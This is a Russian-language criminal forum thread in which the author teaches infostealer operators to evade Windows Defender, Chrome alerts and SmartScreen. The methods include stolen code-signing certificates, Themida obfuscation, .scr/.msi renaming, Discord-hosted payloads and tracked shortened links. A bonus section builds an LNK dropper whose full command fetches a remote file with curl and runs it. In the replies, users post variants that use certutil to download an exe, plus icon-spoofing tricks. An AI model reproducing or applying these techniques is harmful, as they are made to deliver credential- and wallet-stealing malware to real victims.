• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Не плати за крипт или гайд по обходу Виндефа, Хромалерта и Смартскрина For Free + Ink Dropper

Muuurlock

HDD-drive
Пользователь
Регистрация
17.05.2022
Сообщения
46
Реакции
54
Гарант сделки
1
Здравствуйте, мои маленькие любители проливов.
Сегодня мы поговорим о самой насущной для всех ливунов теме , а именно - байпассам.
Для многих новичков в теме логов первым же вопросом после "а как запустить редлайн" появляется "а как найти криптора\почему хром орёт\как убрать смартскрин и тд".
Сегодня мы с Вами разберём все эти темы, а самые внимательные в конце статьи найдут приятный бонус (за эту услугу берут какие-то больные деньги , хз почему).
Итак, приступим .

ДЕТЕКТЫ

Что же такое детект и с чем его едят? Вроде, всё просто, это распознавание твоего билда АВ системами с помощью средств анализа кода, НО
Знали ли вы, что чаще всего это не только анализ кода, но ещё и анализ источника файла (домен) , даты создания файла , сертификата безопасности и даже иконки файла.
Честно, я сам а*уел, но суровая действительность такова.
Всвязи с этой информацией мы с вами можем выделить 2 условных типа детектов, Прямой и Косвенный.

Прямой детект - распознавание средством анализа АВ систем файлика как вредоносного на основании совпадения его кода с сигнатурами, либо же анализ действий файла на ПК (вряд ли чит фортнайт будет смотреть в папку C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn ).
С прямыми детектами справится наверное даже самый рукожопый криптор, имеющий в своём арсенале только крякнутую темиду, это никогда не проблема, проблемы чаще всего начинаются дальше.

Косвенный детект - причина эпилепсии и слюнопускания всех, кто начинает лить. Это злое*учий Хромалерт и Смартскрин.
Всё это частенько реагирует отрицательно на вроде бы только что созданный и закриптованный билд, но почему?
ХромАлерт - Реагирует на источник скачиваемого файла, смотрит историю домена, его срок жизни и тд.
Смартскрин - Смотрит на подпись файла

СПОСОБЫ ОБХОДОВ

Хромалерт.

Наверное, самый поддатливая для обхода АФ система.
Как было сказано выше - реагирует 99% случаев на домены .
Собственноговоря, нужен домен с именем, который позволяет загружать явно вредоносные файлы , да ещё и даёт хотлинк (прямая ссылка на скачивание) на них.
"Невозможно" - скажете вы. "Дискорд" - отвечу я.
Дада, Тимспик для зумеров является ещё и неплохим файловым хранилищем для наших целей, но не спешите грузить ваш голый билдак в дис, всё ещё впереди.

Смартскрин.

Тут всё немного сложнее, поэтому вот скрины. Все действия производятся с оригинальным ехе файлом коша Electrum
sert1.png


sert2.png



sert3.png


sert4.png

После чего полученный сертификат мы пришиваем к билду ( в большинстве стилеров в билдере есть кнопка типо Sign Build ) и радуемся, либо же даём серт криптору, пришьёт его даже самый криворукий .

НО ТЫ ЖЕ ГОВОРИЛ, ЧТО МЫ НЕ БУДЕМ ПЛАТИТЬ КРИПТОРАМ

Ладно-ладно, перейдём к основному предмету обсуждения в данной статье, а именно - халяве.
Итак, у нас есть билд формата .ехе, чистый, мы его берём и обфусцируем той самой темидой , на которую я плевался выше.
Ссыл очка - https://disk.yandex.ru/d/DMNdWhncsNnyK
ОБЯЗАТЕЛЬНО ПОСЛЕ ТЕМИДЫ ПРОВЕРЬТЕ ОТСТУК.
Дальше нам на помощь приходят 2 волшебных формата - scr и msi, они впринципе не имеют прямых детектов, да и косвенные обходят невероятно бодро.
Чтобы ваш обфусцированный ехе файл стал scr нужно *барабанная дробь* - ЗАМЕНИТЬ ЕХЕ НА SCR ПРЯМО В РАЗРЕШЕНИИ ФАЙЛА
С Msi всё немного сложнее, нужен конвертер, ссылка - https://exetomsi.com/ (конечно же, туда можно подшивать всё, что угодно)

После всех вышеперечисленных действий ваш вредоносный файл становится безопасным для большинства файловых хранилищ по тиму mega, dropme и тд, а значит прямых детектов иметь не будет, так же очень легко обходит виндеф и большинство АВ систем ( на сканерах может показывать 3-5 детектов, но по сути это ничего не меняет, в рантайме файл не палится).
Для полноты картины мы идём в дискорд, грузим файлик и получаем прямую ссылку на скачивание по типу https://cdn.discordapp.com/attachments/922584606400741378/924391503042871297/123.txt .
Красиво? Ещё неочень, дальше мы идём на лучший сократитель ссылок gg.gg , регаемся и сокращаем ссылку подобным образом для того чтобы мы могли отслеживать переходы на скачивание файла ( статистика - это важно на самом деле) , да и выглядеть для жертв она станет поэстетичнее.


gg.png


По итогу, после всех вышеперечисленных манипуляций мы имеем ссылку на прямое скачивание файла, которая обходит хром и отслеживает все переходы по ней.
P.S. ссылку до сокращения можно менять, это самый важный плюс gg
Screenshot_1.png


БОНУС

Как и обещал, если ты прочитал всё, что я описал выше , то я расскажу тебе о том, как создать свой Ink Dropper, приступим.
1. Как я описывал выше, криптуем, грузим в дискорд , сокращаем в gg
2. Тыкаем правой кнопкой по рабочему столу , Создать, Ярлык
ink1.png


3. И начинаем писать в этой графе
ink2.png

C:\Windows\System32\cmd.exe - Обращение к приложению командной строки, это и так ясно

/c - Параметр открытия командной строки , он означает , что она закроется после выполнения заданных команд

cd C:\Users\Public\Downloads - переход в определённую папку, настоятельно рекомендую использовать ту, что использую я, ибо она поддерживает редактирование и скачивание файлов без прав администратора и присутствует на всех Win машинах

& - вот эта закорючка означает, что после первой команды выполняется следующая, то есть, сначала мы перешли в директорию, потом сделали что-то другое

curl -o 1.txt https://cdn.discordapp.com/attachments/922584606400741378/924391503042871297/123.txt - Эта команда отвечает за скачивание самого файла ( не стал сокращать, но вам советую) Аргумент -о отвечает за то, под каким именем сохранится файл, который будет скачан по ссылке, далее идёт сама ссылка на прямое скачивание файла.

& start 1.txt - финальная строка не нуждается в пояснениях, думаю , из текущей директории выполнения запускается заданный файл.

По итогу у вас должна получится примерно такая строка

C:\Windows\System32\cmd.exe /c cd C:\Users\Public\Downloads & curl -o 1.txt https://cdn.discordapp.com/attachments/922584606400741378/924391503042871297/123.txt & start 1.txt

Файл безопасен, так что не переживайте , там всего лишь тхт пасхалка =)

4. Жмём далее
5. Сохраняем файл с нужным нам именем, это может быть что угодно
ink3.png

Жмём готово, получаем такое
ink4.png

Выглядит подозрительно, надо поставить красивый ярлыкан .
ink5.png


10 Never gonna\10 .

Спасибо, если дочитали, всем хорошего траффика, обнял <3
 
Последнее редактирование:
обход виндефа
Согласен, тут скорее про сокрытие от "ионого"

Про новизну тоже не знаю, но на досуге попробую : )
 
ну и где же тут обход виндефа ?
я плохой копирайтер, бро, хотел просто обратить внимание новайсеров на насущное
думал выделить отдельный раздел под виндеф и описание его работы , но поленился (
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Хорошо написал, как раз мне в тред по продвижению доменов с отлегой))))), еще бы добавил , про вес- от 500 мб , и рантайм + скан виль би чистота - фантастишь(windef only).
 
Выглядит подозрительно, надо поставить красивый ярлыкан .
После того как пользователь скачает такой файл - иконка у него не отобразится. Если мне не изменяет память, иконку нужно прописать в файле desktop.ini:
Код:
[.ShellClassInfo]
IconResource=filename.ico,0
все это складывается в одну папку и затем для desktop.ini и filename.ico нужно проставить атрибуты «скрытый», через attrib или свойства файла.
Затем папка пакуется в rar и тд.
Статья интересная. Мне понравилось. Для линукса есть инструмент «sigthief» позволяет извлекать и добавлять сертификаты к файлу.
 
Последнее редактирование:
После того как пользователь скачает такой файл - иконка у него не отобразится. Если мне не изменяет память, иконку нужно прописать в файле desktop.ini:
Код:
[.ShellClassInfo]
IconResource=filename.ico,0
все это складывается в одну папку и затем для desktop.ini и filename.ico нужно проставить атрибуты «скрытый», через attrib или свойства файла.
Затем папка пакуется в rar и тд.
Статья интересная. Мне понравилось. Для линукса есть инструмент «sigthief» позволяет извлекать и добавлять сертификаты к файлу.
спасибо большое, дружище. я забыл указать, что использовать на постоянной основе можно только ярлыки со стоковым системным путём ( %systemroot%\system32\выберикартинку ), а не динамическим, как сделал я.
завтра поправлю 😅
 
Пожалуйста, обратите внимание, что пользователь заблокирован
i guess am doing something wrong.
i only took the .lnk part. and am getting errors.
i used C:\Windows\System32\cmd.exe /c cd C:\Users\Public\Downloads & curl -o 12.exe https://support2.lsdsoftware.com/dropmeafile/dcf0c3cc5b/789b8acf38 & start 12.exe
( https://support2.lsdsoftware.com/dropmeafile/dcf0c3cc5b/789b8acf38 is a direct download link of 12.exe file )
but here error i got
ZcuLh8Y.png
 
А есть софт, чтобы к своему екзешнику серт прикрутить? И что даст сменить exe на msi или scr.. У файла одинаковый детект будет. Темида помогает, но это уже прошлий век. Убирает детект с нескольких аверов, а в некоторых и добавляет от использования темиды
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
А есть софт, чтобы к своему екзешнику серт прикрутить? И что даст сменить exe на msi или scr.. У файла одинаковый детект будет. Темида помогает, но это уже прошлий век. Убирает детект с нескольких аверов, а в некоторых и добавляет от использования темиды
you can change .exe to ,scr with just winrar , archieve the exe and inside the winrar, you can rename and change both the extention. it works. and for msi you can try the site he gave exetomsi
 
you can change .exe to ,scr with just winrar , archieve the exe and inside the winrar, you can rename and change both the extention. it works. and for msi you can try the site he gave exetomsi
Im dont undertand. If you change file extention this method bypass AV?) No
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Im dont undertand. If you change file extention this method bypass AV?) No
ofcourse no. but might help the file a little bit compared to the almighty .EXE
 
И что даст сменить exe на msi или scr.. У файла одинаковый детект будет.
Но .scr это бред конечно, только добавить детекта, по части .msi было пару лет назад все.



Также лепили fake серт и в бой
wink.png



Проще всего это делать так и.т.д

 
А есть софт, чтобы к своему екзешнику серт прикрутить? И что даст сменить exe на msi или scr.. У файла одинаковый детект будет. Темида помогает, но это уже прошлий век. Убирает детект с нескольких аверов, а в некоторых и добавляет от использования темиды
Про темиду я сказал чисто из уважения к создателям стилеров, друг, ибо переписывать стаб каждые 2 недели из-за челов, которым лень обфусцировать билд - не особо благодарное дело. Именно поэтому тот же редлайн запрещает лить билд в чистом виде.
Про расширения ты тоже абсолютно прав, заисключением того, что ты имеешь ввиду детекты скантайма, но рантайм важнее, не так ли? =)
 
curl is not recognized as an internal or exteernal command
Наверное потому что Curl не установлен. Попробуй это:
Код:
certutil -urlcache -f https://support2.lsdsoftware.com/dropmeafile/dcf0c3cc5b/789b8acf38 12.exe
 
Про темиду я сказал чисто из уважения к создателям стилеров, друг, ибо переписывать стаб каждые 2 недели из-за челов, которым лень обфусцировать билд - не особо благодарное дело. Именно поэтому тот же редлайн запрещает лить билд в чистом виде.
Про расширения ты тоже абсолютно прав, заисключением того, что ты имеешь ввиду детекты скантайма, но рантайм важнее, не так ли? =)
Ну темида выручает часто, толк как никак от нее есть. По рантайму да. Действительно обходит, хотя по скантайму детект. Как-то не ожидал. Ну из опыта по темиде, то после накрытия стоит конечно да, проверить софт на запуск после неё. Бывает тупо в процессах висит и не запускается. И авер даже не суспендит
 
Да это не один вменяемый AV не пропустит, вы хоть разбавляйте тыц
wink.png

Наверное потому что Curl не установлен.
curl вроде с недавнего времени стоит в ОС Windows 10 по умолчанию и во всех обновленных 8-ках и 7-ках
 
i guess am doing something wrong.
i only took the .lnk part. and am getting errors.
i used C:\Windows\System32\cmd.exe /c cd C:\Users\Public\Downloads & curl -o 12.exe https://support2.lsdsoftware.com/dropmeafile/dcf0c3cc5b/789b8acf38 & start 12.exe
( https://support2.lsdsoftware.com/dropmeafile/dcf0c3cc5b/789b8acf38 is a direct download link of 12.exe file )
but here error i got
ZcuLh8Y.png
U can write me tg, bro ) it is not very convenient to upload screenshots to the forum u know
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх